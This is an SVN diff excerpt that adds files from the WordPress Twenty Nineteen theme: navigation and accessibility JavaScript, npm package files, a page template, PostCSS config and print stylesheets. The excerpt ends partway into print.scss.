+
+	/**
+	 * Refreshes the list item from the menu depending on the menu size
+	 */
+	function updateNavigationMenu( container ) {
+
+		/**
+		 * Let’s bail if our menu is empty
+		 */
+		if ( ! container.parentNode.querySelector('.main-menu[id]') ) {
+			return;
+		}
+
+		// Adds the necessary UI to operate the menu.
+		var visibleList  = container.parentNode.querySelector('.main-menu[id]');
+		var hiddenList   = visibleList.parentNode.nextElementSibling.querySelector('.hidden-links');
+		var toggleButton = visibleList.parentNode.nextElementSibling.querySelector('.main-menu-more-toggle');
+
+		if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) {
+
+			// Record the width of the list
+			breaks.push( visibleList.offsetWidth );
+			// Move last item to the hidden list
+			prependElement( hiddenList, ! visibleList.lastChild || null === visibleList.lastChild ? visibleList.previousElementSibling : visibleList.lastChild );
+			// Show the toggle button
+			showButton( toggleButton );
+
+		} else {
+
+			// There is space for another item in the nav
+			if ( getAvailableSpace( toggleButton, container ) > breaks[breaks.length - 1] ) {
+				// Move the item to the visible list
+				visibleList.appendChild( hiddenList.firstChild.nextSibling );
+				breaks.pop();
+			}
+
+			// Hide the dropdown btn if hidden list is empty
+			if (breaks.length < 2) {
+				hideButton( toggleButton );
+			}
+		}
+
+		// Recur if the visible list is still overflowing the nav
+		if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) {
+			updateNavigationMenu( container );
+		}
+	}
+
+	/**
+	 * Run our priority+ function as soon as the document is `ready`
+	 */
+	document.addEventListener( 'DOMContentLoaded', function() {
+
+		updateNavigationMenu( navContainer );
+
+		// Also, run our priority+ function on selective refresh in the customizer
+		var hasSelectiveRefresh = (
+			'undefined' !== typeof wp &&
+			wp.customize &&
+			wp.customize.selectiveRefresh &&
+			wp.customize.navMenusPreview.NavMenuInstancePartial
+		);
+
+		if ( hasSelectiveRefresh ) {
+			// Re-run our priority+ function on Nav Menu partial refreshes
+			wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function ( placement ) {
+
+				var isNewNavMenu = (
+					placement &&
+					placement.partial.id.includes( 'nav_menu_instance' ) &&
+					'null' !== placement.container[0].parentNode &&
+					placement.container[0].parentNode.classList.contains( 'main-navigation' )
+				);
+
+				if ( isNewNavMenu ) {
+					updateNavigationMenu( placement.container[0].parentNode );
+				}
+			});
+        }
+	});
+
+	/**
+	 * Run our priority+ function on load
+	 */
+	window.addEventListener( 'load', function() {
+		updateNavigationMenu( navContainer );
+	});
+
+	/**
+	 * Run our priority+ function every time the window resizes
+	 */
+	var isResizing = false;
+	window.addEventListener( 'resize',
+		debounce( function() {
+			if ( isResizing ) {
+				return;
+			}
+
+			isResizing = true;
+			setTimeout( function() {
+				updateNavigationMenu( navContainer );
+				isResizing = false;
+			}, 150 );
+		} )
+	);
+
+	/**
+	 * Run our priority+ function
+	 */
+	updateNavigationMenu( navContainer );
+
+})();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/js/skip-link-focus-fix.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/js/skip-link-focus-fix.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/js/skip-link-focus-fix.js	(revision 56912)
@@ -0,0 +1,33 @@
+/**
+ * File skip-link-focus-fix.js.
+ *
+ * Helps with accessibility for keyboard only users.
+ *
+ * This is the source file for what is minified in the twentynineteen_skip_link_focus_fix() PHP function.
+ *
+ * Learn more: https://git.io/vWdr2
+ */
+( function() {
+	var isIe = /(trident|msie)/i.test( navigator.userAgent );
+
+	if ( isIe && document.getElementById && window.addEventListener ) {
+		window.addEventListener( 'hashchange', function() {
+			var id = location.hash.substring( 1 ),
+				element;
+
+			if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {
+				return;
+			}
+
+			element = document.getElementById( id );
+
+			if ( element ) {
+				if ( ! ( /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) ) {
+					element.tabIndex = -1;
+				}
+
+				element.focus();
+			}
+		}, false );
+	}
+} )();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/js/touch-keyboard-navigation.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/js/touch-keyboard-navigation.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/js/touch-keyboard-navigation.js	(revision 56912)
@@ -0,0 +1,354 @@
+/**
+ * Touch & Keyboard navigation.
+ *
+ * Contains handlers for touch devices and keyboard navigation.
+ */
+
+(function() {
+
+	/**
+	 * Debounce
+	 *
+	 * @param {Function} func
+	 * @param {number} wait
+	 * @param {boolean} immediate
+	 */
+	function debounce(func, wait, immediate) {
+		'use strict';
+
+		var timeout;
+		wait      = (typeof wait !== 'undefined') ? wait : 20;
+		immediate = (typeof immediate !== 'undefined') ? immediate : true;
+
+		return function() {
+
+			var context = this, args = arguments;
+			var later = function() {
+				timeout = null;
+
+				if (!immediate) {
+					func.apply(context, args);
+				}
+			};
+
+			var callNow = immediate && !timeout;
+
+			clearTimeout(timeout);
+			timeout = setTimeout(later, wait);
+
+			if (callNow) {
+				func.apply(context, args);
+			}
+		};
+	}
+
+	/**
+	 * Add class
+	 *
+	 * @param {Object} el
+	 * @param {string} cls
+	 */
+	function addClass(el, cls) {
+		if ( ! el.className.match( '(?:^|\\s)' + cls + '(?!\\S)') ) {
+			el.className += ' ' + cls;
+		}
+	}
+
+	/**
+	 * Delete class
+	 *
+	 * @param {Object} el
+	 * @param {string} cls
+	 */
+	function deleteClass(el, cls) {
+		el.className = el.className.replace( new RegExp( '(?:^|\\s)' + cls + '(?!\\S)' ),'' );
+	}
+
+	/**
+	 * Has class?
+	 *
+	 * @param {Object} el
+	 * @param {string} cls
+	 *
+	 * @returns {boolean} Has class
+	 */
+	function hasClass(el, cls) {
+
+		if ( el.className.match( '(?:^|\\s)' + cls + '(?!\\S)' ) ) {
+			return true;
+		}
+	}
+
+	/**
+	 * Toggle Aria Expanded state for screenreaders
+	 *
+	 * @param {Object} ariaItem
+	 */
+	function toggleAriaExpandedState( ariaItem ) {
+		'use strict';
+
+		var ariaState = ariaItem.getAttribute('aria-expanded');
+
+		if ( ariaState === 'true' ) {
+			ariaState = 'false';
+		} else {
+			ariaState = 'true';
+		}
+
+		ariaItem.setAttribute('aria-expanded', ariaState);
+	}
+
+	/**
+	 * Open sub-menu
+	 *
+	 * @param {Object} currentSubMenu
+	 */
+	function openSubMenu( currentSubMenu ) {
+		'use strict';
+
+		// Update classes
+		// classList.add is not supported in IE11
+		currentSubMenu.parentElement.className += ' off-canvas';
+		currentSubMenu.parentElement.lastElementChild.className += ' expanded-true';
+
+		// Update aria-expanded state
+		toggleAriaExpandedState( currentSubMenu );
+	}
+
+	/**
+	 * Close sub-menu
+	 *
+	 * @param {Object} currentSubMenu
+	 */
+	function closeSubMenu( currentSubMenu ) {
+		'use strict';
+
+		var menuItem     = getCurrentParent( currentSubMenu, '.menu-item' ); // this.parentNode
+		var menuItemAria = menuItem.querySelector('a[aria-expanded]');
+		var subMenu      = currentSubMenu.closest('.sub-menu');
+
+		// If this is in a sub-sub-menu, go back to parent sub-menu
+		if ( getCurrentParent( currentSubMenu, 'ul' ).classList.contains( 'sub-menu' ) ) {
+
+			// Update classes
+			// classList.remove is not supported in IE11
+			menuItem.className = menuItem.className.replace( 'off-canvas', '' );
+			subMenu.className  = subMenu.className.replace( 'expanded-true', '' );
+
+			// Update aria-expanded and :focus states
+			toggleAriaExpandedState( menuItemAria );
+
+		// Or else close all sub-menus
+		} else {
+
+			// Update classes
+			// classList.remove is not supported in IE11
+			menuItem.className = menuItem.className.replace( 'off-canvas', '' );
+			menuItem.lastElementChild.className = menuItem.lastElementChild.className.replace( 'expanded-true', '' );
+
+			// Update aria-expanded and :focus states
+			toggleAriaExpandedState( menuItemAria );
+		}
+	}
+
+	/**
+	 * Find first ancestor of an element by selector
+	 *
+	 * @param {Object} child
+	 * @param {String} selector
+	 * @param {String} stopSelector
+	 */
+	function getCurrentParent( child, selector, stopSelector ) {
+
+		var currentParent = null;
+
+		while ( child ) {
+
+			if ( child.matches(selector) ) {
+
+				currentParent = child;
+				break;
+
+			} else if ( stopSelector && child.matches(stopSelector) ) {
+
+				break;
+			}
+
+			child = child.parentElement;
+		}
+
+		return currentParent;
+	}
+
+	/**
+	 * Remove all off-canvas states
+	 */
+	function removeAllFocusStates() {
+		'use strict';
+
+		var siteBranding            = document.getElementsByClassName( 'site-branding' )[0];
+		var getFocusedElements      = siteBranding.querySelectorAll(':hover, :focus, :focus-within');
+		var getFocusedClassElements = siteBranding.querySelectorAll('.is-focused');
+		var i;
+		var o;
+
+		for ( i = 0; i < getFocusedElements.length; i++) {
+			getFocusedElements[i].blur();
+		}
+
+		for ( o = 0; o < getFocusedClassElements.length; o++) {
+			deleteClass( getFocusedClassElements[o], 'is-focused' );
+		}
+	}
+
+	/**
+	 * Matches polyfill for IE11
+	 */
+	if (!Element.prototype.matches) {
+		Element.prototype.matches = Element.prototype.msMatchesSelector;
+	}
+
+	/**
+	 * Toggle `focus` class to allow sub-menu access on touch screens.
+	 */
+	function toggleSubmenuDisplay() {
+
+		document.addEventListener('touchstart', function(event) {
+
+			if ( event.target.matches('a') ) {
+
+				var url = event.target.getAttribute( 'href' ) ? event.target.getAttribute( 'href' ) : '';
+
+				// Open submenu if url is #
+				if ( '#' === url && event.target.nextSibling.matches('.submenu-expand') ) {
+					openSubMenu( event.target );
+				}
+			}
+
+			// Check if .submenu-expand is touched
+			if ( event.target.matches('.submenu-expand') ) {
+				openSubMenu(event.target);
+
+			// Check if child of .submenu-expand is touched
+			} else if ( null != getCurrentParent( event.target, '.submenu-expand' ) &&
+								getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) ) {
+				openSubMenu( getCurrentParent( event.target, '.submenu-expand' ) );
+
+			// Check if .menu-item-link-return is touched
+			} else if ( event.target.matches('.menu-item-link-return') ) {
+				closeSubMenu( event.target );
+
+			// Check if child of .menu-item-link-return is touched
+			} else if ( null != getCurrentParent( event.target, '.menu-item-link-return' ) && getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) {
+				closeSubMenu( event.target );
+			}
+
+			// Prevent default mouse/focus events
+			removeAllFocusStates();
+
+		}, false);
+
+		document.addEventListener('touchend', function(event) {
+
+			var mainNav = getCurrentParent( event.target, '.main-navigation' );
+
+			if ( null != mainNav && hasClass( mainNav, '.main-navigation' ) ) {
+				// Prevent default mouse events
+				event.preventDefault();
+
+			} else if (
+				event.target.matches('.submenu-expand') ||
+				null != getCurrentParent( event.target, '.submenu-expand' ) &&
+				getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) ||
+				event.target.matches('.menu-item-link-return') ||
+				null != getCurrentParent( event.target, '.menu-item-link-return' ) &&
+				getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) {
+					// Prevent default mouse events
+					event.preventDefault();
+			}
+
+			// Prevent default mouse/focus events
+			removeAllFocusStates();
+
+		}, false);
+
+		document.addEventListener('focus', function(event) {
+
+			if ( event.target.matches('.main-navigation > div > ul > li a') ) {
+
+				// Remove Focused elements in sibling div
+				var currentDiv        = getCurrentParent( event.target, 'div', '.main-navigation' );
+				var currentDivSibling = currentDiv.previousElementSibling === null ? currentDiv.nextElementSibling : currentDiv.previousElementSibling;
+				var focusedElement    = currentDivSibling.querySelector( '.is-focused' );
+				var focusedClass      = 'is-focused';
+				var prevLi            = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).previousElementSibling;
+				var nextLi            = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).nextElementSibling;
+
+				if ( null !== focusedElement && null !== hasClass( focusedElement, focusedClass ) ) {
+					deleteClass( focusedElement, focusedClass );
+				}
+
+				// Add .is-focused class to top-level li
+				if ( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ) ) {
+					addClass( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ), focusedClass );
+				}
+
+				// Check for previous li
+				if ( prevLi && hasClass( prevLi, focusedClass ) ) {
+					deleteClass( prevLi, focusedClass );
+				}
+
+				// Check for next li
+				if ( nextLi && hasClass( nextLi, focusedClass ) ) {
+					deleteClass( nextLi, focusedClass );
+				}
+			}
+
+		}, true);
+
+		document.addEventListener('click', function(event) {
+
+			// Remove all focused menu states when clicking outside site branding
+			if ( event.target !== document.getElementsByClassName( 'site-branding' )[0] ) {
+				removeAllFocusStates();
+			} else {
+				// nothing
+			}
+
+		}, false);
+	}
+
+	/**
+	 * Run our sub-menu function as soon as the document is `ready`
+	 */
+	document.addEventListener( 'DOMContentLoaded', function() {
+		toggleSubmenuDisplay();
+	});
+
+	/**
+	 * Run our sub-menu function on selective refresh in the customizer
+	 */
+	document.addEventListener( 'customize-preview-menu-refreshed', function( e, params ) {
+		if ( 'menu-1' === params.wpNavMenuArgs.theme_location ) {
+			toggleSubmenuDisplay();
+		}
+	});
+
+	/**
+	 * Run our sub-menu function every time the window resizes
+	 */
+	var isResizing = false;
+	window.addEventListener( 'resize', function() {
+		isResizing = true;
+		debounce( function() {
+			if ( isResizing ) {
+				return;
+			}
+
+			toggleSubmenuDisplay();
+			isResizing = false;
+
+		}, 150 );
+	} );
+
+})();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/package-lock.json
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/package-lock.json	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/package-lock.json	(revision 56912)
@@ -0,0 +1,4447 @@
+{
+  "name": "twentynineteen",
+  "version": "1.0.0",
+  "lockfileVersion": 1,
+  "requires": true,
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+      "dev": true,
+      "requires": {
+        "call-me-maybe": "^1.0.1",
+        "glob-to-regexp": "^0.3.0"
+      }
+    },
+    "@nodelib/fs.stat": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-1.1.2.tgz",
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+      "dev": true
+    },
+    "@wordpress/browserslist-config": {
+      "version": "2.2.2",
+      "resolved": "https://registry.npmjs.org/@wordpress/browserslist-config/-/browserslist-config-2.2.2.tgz",
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+      "dev": true
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+    "abbrev": {
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+      "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
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+    "ajv": {
+      "version": "5.5.2",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz",
+      "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=",
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+        "fast-deep-equal": "^1.0.0",
+        "fast-json-stable-stringify": "^2.0.0",
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+      }
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+          "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=",
+          "dev": true,
+          "requires": {
+            "get-value": "^2.0.3",
+            "has-values": "^0.1.4",
+            "isobject": "^2.0.0"
+          },
+          "dependencies": {
+            "isobject": {
+              "version": "2.1.0",
+              "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
+              "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=",
+              "dev": true,
+              "requires": {
+                "isarray": "1.0.0"
+              }
+            }
+          }
+        },
+        "has-values": {
+          "version": "0.1.4",
+          "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
+          "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=",
+          "dev": true
+        }
+      }
+    },
+    "upath": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz",
+      "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==",
+      "dev": true
+    },
+    "urix": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+      "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=",
+      "dev": true
+    },
+    "use": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
+      "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==",
+      "dev": true
+    },
+    "util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=",
+      "dev": true
+    },
+    "uuid": {
+      "version": "3.3.2",
+      "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
+      "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==",
+      "dev": true
+    },
+    "validate-npm-package-license": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
+      "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
+      "dev": true,
+      "requires": {
+        "spdx-correct": "^3.0.0",
+        "spdx-expression-parse": "^3.0.0"
+      }
+    },
+    "verror": {
+      "version": "1.10.0",
+      "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
+      "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
+      "dev": true,
+      "requires": {
+        "assert-plus": "^1.0.0",
+        "core-util-is": "1.0.2",
+        "extsprintf": "^1.2.0"
+      }
+    },
+    "which": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+      "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+      "dev": true,
+      "requires": {
+        "isexe": "^2.0.0"
+      }
+    },
+    "which-module": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz",
+      "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=",
+      "dev": true
+    },
+    "wide-align": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz",
+      "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==",
+      "dev": true,
+      "requires": {
+        "string-width": "^1.0.2 || 2"
+      }
+    },
+    "wrap-ansi": {
+      "version": "2.1.0",
+      "resolved": "http://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
+      "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=",
+      "dev": true,
+      "requires": {
+        "string-width": "^1.0.1",
+        "strip-ansi": "^3.0.1"
+      }
+    },
+    "wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
+      "dev": true
+    },
+    "xregexp": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.0.0.tgz",
+      "integrity": "sha512-PHyM+sQouu7xspQQwELlGwwd05mXUFqwFYfqPO0cC7x4fxyHnnuetmQr6CjJiafIDoH4MogHb9dOoJzR/Y4rFg==",
+      "dev": true
+    },
+    "y18n": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz",
+      "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=",
+      "dev": true
+    },
+    "yallist": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+      "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=",
+      "dev": true
+    },
+    "yargs": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz",
+      "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=",
+      "dev": true,
+      "requires": {
+        "camelcase": "^3.0.0",
+        "cliui": "^3.2.0",
+        "decamelize": "^1.1.1",
+        "get-caller-file": "^1.0.1",
+        "os-locale": "^1.4.0",
+        "read-pkg-up": "^1.0.1",
+        "require-directory": "^2.1.1",
+        "require-main-filename": "^1.0.1",
+        "set-blocking": "^2.0.0",
+        "string-width": "^1.0.2",
+        "which-module": "^1.0.0",
+        "y18n": "^3.2.1",
+        "yargs-parser": "^5.0.0"
+      },
+      "dependencies": {
+        "camelcase": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz",
+          "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=",
+          "dev": true
+        }
+      }
+    },
+    "yargs-parser": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz",
+      "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=",
+      "dev": true,
+      "requires": {
+        "camelcase": "^3.0.0"
+      },
+      "dependencies": {
+        "camelcase": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz",
+          "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=",
+          "dev": true
+        }
+      }
+    }
+  }
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/package.json
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/package.json	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/package.json	(revision 56912)
@@ -0,0 +1,44 @@
+{
+  "name": "twentynineteen",
+  "version": "1.0.0",
+  "description": "Default WP Theme",
+  "bugs": {
+    "url": "https://github.com/WordPress/twentynineteen/issues"
+  },
+  "homepage": "https://github.com/WordPress/twentynineteen#readme",
+  "devDependencies": {
+    "@wordpress/browserslist-config": "^2.2.2",
+    "autoprefixer": "^9.1.5",
+    "chokidar-cli": "^1.2.1",
+    "node-sass": "^4.9.3",
+    "npm-run-all": "^4.1.5",
+    "postcss-cli": "^6.0.1",
+    "postcss-focus-within": "^3.0.0",
+    "rtlcss": "^2.4.0"
+  },
+  "rtlcssConfig": {
+    "options": {
+      "autoRename": false,
+      "autoRenameStrict": false,
+      "blacklist": {},
+      "clean": true,
+      "greedy": false,
+      "processUrls": false,
+      "stringMap": []
+    },
+    "plugins": [],
+    "map": false
+  },
+  "browserslist": [
+    "extends @wordpress/browserslist-config"
+  ],
+  "scripts": {
+    "build:style": "node-sass style.scss style.css --output-style expanded && postcss -r style.css",
+    "build:style-editor": "node-sass style-editor.scss style-editor.css --output-style expanded && postcss -r style-editor.css",
+    "build:style-editor-customizer": "node-sass style-editor-customizer.scss style-editor-customizer.css --output-style expanded && postcss -r style-editor-customizer.css",
+    "build:rtl": "rtlcss style.css style-rtl.css",
+    "build:print": "node-sass print.scss print.css --output-style expanded && postcss -r print.css",
+    "build": "run-p \"build:*\"",
+    "watch": "chokidar \"**/*.scss\" -c \"npm run build\" --initial"
+  }
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/page.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The template for displaying all single posts
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#single-post
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+get_header();
+?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main">
+
+			<?php
+
+			/* Start the Loop */
+			while ( have_posts() ) :
+				the_post();
+
+				get_template_part( 'template-parts/content/content', 'page' );
+
+				// If comments are open or we have at least one comment, load up the comment template.
+				if ( comments_open() || get_comments_number() ) {
+					comments_template();
+				}
+
+			endwhile; // End of the loop.
+			?>
+
+		</main><!-- #main -->
+	</section><!-- #primary -->
+
+<?php
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/postcss.config.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/postcss.config.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/postcss.config.js	(revision 56912)
@@ -0,0 +1,13 @@
+var postcssFocusWithin = require('postcss-focus-within');
+
+module.exports = {
+    plugins: {
+        autoprefixer: {}
+    }
+};
+
+module.exports = {
+    plugins: [
+        postcssFocusWithin(/* pluginOptions */)
+    ]
+};
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/print.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/print.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/print.css	(revision 56912)
@@ -0,0 +1,163 @@
+@charset "UTF-8";
+/*
+Theme Name: Twenty Nineteen
+
+Adding print support. The print styles are based on the the great work of
+Andreas Hecht in https://www.jotform.com/blog/css-perfect-print-stylesheet-98272/.
+*/
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+# Margins
+# Typography÷
+# Page breaks
+# Links
+# Visibility
+--------------------------------------------------------------*/
+@media print {
+  /* Margins */
+  @page {
+    margin: 2cm;
+  }
+  .entry {
+    margin-top: 1em;
+  }
+  .entry .entry-header, .site-footer .site-info {
+    margin: 0;
+  }
+  /* Fonts */
+  body {
+    font: 13pt Georgia, "Times New Roman", Times, serif;
+    line-height: 1.3;
+    background: #fff !important;
+    color: #000;
+  }
+  h1 {
+    font-size: 24pt;
+  }
+  h2,
+  h3,
+  h4,
+  .has-regular-font-size,
+  .has-large-font-size,
+  h2.author-title,
+  p.author-bio,
+  .comments-title, h3 {
+    font-size: 14pt;
+    margin-top: 25px;
+  }
+  /* Page breaks */
+  a {
+    page-break-inside: avoid;
+  }
+  blockquote {
+    page-break-inside: avoid;
+  }
+  h1,
+  h2,
+  h3,
+  h4,
+  h5,
+  h6 {
+    page-break-after: avoid;
+    page-break-inside: avoid;
+  }
+  img {
+    page-break-inside: avoid;
+    page-break-after: avoid;
+  }
+  table, pre {
+    page-break-inside: avoid;
+  }
+  ul, ol, dl {
+    page-break-before: avoid;
+  }
+  /* Links */
+  a:link, a:visited, a {
+    background: transparent;
+    font-weight: bold;
+    text-decoration: underline;
+    text-align: left;
+  }
+  a {
+    page-break-inside: avoid;
+  }
+  a[href^=http]:after {
+    content: " < " attr(href) "> ";
+  }
+  a:after > img {
+    content: "";
+  }
+  article a[href^="#"]:after {
+    content: "";
+  }
+  a:not(:local-link):after {
+    content: " < " attr(href) "> ";
+  }
+  /* Visibility */
+  .main-navigation,
+  .site-title + .main-navigation,
+  .social-navigation,
+  .site-branding-container:before,
+  .entry .entry-title:before,
+  .entry-footer,
+  .author-description:before,
+  .post-navigation,
+  .widget-area,
+  .comment-form-flex,
+  .comment-reply,
+  .comment .comment-metadata .edit-link {
+    display: none;
+  }
+  .entry .entry-content .wp-block-button .wp-block-button__link,
+  .entry .entry-content .button {
+    color: #000;
+    background: none;
+  }
+  /* Site Header (With Featured Image) */
+  .site-header.featured-image {
+    min-height: 0;
+  }
+  .site-header.featured-image .main-navigation a,
+  .site-header.featured-image .main-navigation a + svg,
+  .site-header.featured-image .social-navigation a,
+  .site-header.featured-image .site-title a,
+  .site-header.featured-image .site-featured-image a,
+  .site-header.featured-image .site-branding .site-title,
+  .site-header.featured-image .site-branding .site-description,
+  .site-header.featured-image .main-navigation a:after,
+  .site-header.featured-image .main-navigation .main-menu > li.menu-item-has-children:after,
+  .site-header.featured-image .main-navigation li,
+  .site-header.featured-image .social-navigation li,
+  .site-header.featured-image .entry-meta,
+  .site-header.featured-image .entry-title,
+  .site-header.featured-image#masthead .site-title a {
+    color: #000;
+    text-shadow: none;
+  }
+  .site-header.featured-image .site-featured-image .entry-header,
+  .site-header.featured-image .site-branding-container {
+    margin-top: 0;
+    margin-bottom: 0;
+  }
+  .site-header.featured-image .site-featured-image .post-thumbnail img {
+    position: relative;
+    height: initial;
+    width: initial;
+    object-fit: none;
+    min-width: 0;
+    min-height: 0;
+    max-width: 100%;
+    margin-top: 1rem;
+  }
+  /* Remove image filters from featured image */
+  .image-filters-enabled *:after {
+    display: none !important;
+  }
+  .image-filters-enabled .site-header.featured-image .site-featured-image:before {
+    display: none;
+  }
+  .image-filters-enabled .site-header.featured-image .site-featured-image .post-thumbnail img {
+    filter: none;
+  }
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/print.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/print.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/print.scss	(revision 56912)
@@ -0,0 +1,198 @@
+/*
+Theme Name: Twenty Nineteen
+
+Adding print support. The print styles are based on the the great work of
+Andreas Hecht in https://www.jotform.com/blog/css-perfect-print-stylesheet-98272/.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+# Margins
+# Typography÷
+# Page breaks
+# Links
+# Visibility
+--------------------------------------------------------------*/
+
+@media print {
+
+  /* Margins */
+
+  @page {
+    margin: 2cm;
+  }
+
+  .entry {
+    margin-top: 1em;
+  }
+
+  .entry .entry-header, .site-footer .site-info {
+    margin: 0;
+  }
+
+  /* Fonts */
+
+  body {
